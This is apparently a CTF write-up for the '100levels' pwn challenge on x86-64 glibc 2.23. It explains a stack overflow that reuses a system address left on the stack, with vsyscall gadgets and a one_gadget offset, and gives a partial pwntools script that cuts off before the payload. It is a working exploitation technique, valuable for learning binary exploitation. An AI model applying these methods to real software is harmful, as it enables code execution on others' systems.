$ file 100levels 100levels: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8293d0a04bff99850d490343e65e25d81b6b1966, stripped $ checksec 100levels [*] '/root/100levels' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled $ ./libc.so GNU C Library (Ubuntu GLIBC 2.23-0ubuntu7) stable release version 2.23, by Roland McGrath et al. Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 5.4.0 20160609. Available extensions: crypt add-on version 2.1 by Michael Glad and others GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al BIND-8.2.3-T5B libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
From read(0, &buf, 0x400uLL); in level() we can see it will overflow __int64 buf; // [rsp+10h] [rbp-30h]. However with NX and PIE enabled, ROP chains are hard to deal.
There is a hint() which could leak system for us, but unk_20208C cannot be changed by us now, so is this func useless?
Though it won’t be printed, the address of system is saved in rbp+var_110 (rbp-0x110 which is on the stack), and between the running of hint() and go(), the value of rbp remains the same, so the “leaked” system can be also found in rbp-0x110 in func frame of go() (corresponding variable is __int64 v7; // [rsp+10h] [rbp-110h]).
To keep v7 unchanged, we have to first input a value less than or equal to 0, then we input v5 and the number of level will be determined by v8 = v7 + v5;.
We can surely use brute-force attack to identify the value of v7(system address). When v5 is smaller than -system_address, we will receive Coward Coward Coward Coward Coward, while when v5 is larger than -system_address we will enter the level(). You may notice that we always end up entering level(), so why not use stack overflow directly?
The level() is called recursively, so only in the last level() can we use the shortest payload to reach v7 in func frame of go().
However still 0x10 needs to be overflowed. Now we think about how to exploit it, because we haven’t leaked any address but we need ROP gadget to fill the gap; besides the system address in v7 needs an argument /bin/sh to be effective.
First we deal with the ROP gadgets issue. We use vsyscall(virtual system call) because it has fixed address even with ASLR on and PIE enabled. It is the first and oldest mechanism in the Linux kernel that is designed to accelerate execution of certain system calls. The principle of work of the vsyscall concept is: The Linux kernel maps into user space a page that contains some variables and the implementation of some system calls.
It is dumped from gdb and viewed inIDA. There are three syscalls: gettimeofday, time and getcpu (starts at 0xffffffffff600000, 0xffffffffff600400 and 0xffffffffff600800). We can use these 3 functions as gadgets.
Next we have to think about how to use system in v7. Since we cannot get exact address of pop rdi; ret, it’s better to use one gadget because the offset between system and one gadget is fixed, so setting an appropriate v5 can change v7 to be address of one gadget.
We choose 0x4526a because gettimeofday, time and getcpu can keep [rsp+0x30] == NULL (0xef6c4 and 0xf0567 are hard to satisfy). Then let us see exploit.
Exploit
We have to write answer() to answer questions automatically because only the last round of level() will be our best chance to send payload. It means we will wait for a long time every time we run this script.
sh.recv() # menu sh.sendline('2') # hint sh.recv() # menu sh.sendline('1') sh.recv() # How many levels? sh.sendline('0') # '<=0' to not overwrite system_addr sh.recv() # Coward\nAny more?\n sh.sendline('-294') # 0x4526a from one_gadget # sh.sendline('697140') # 0xef6c4 # sh.sendline('700887') # 0xf0567 sh.recv() # You are being a real man.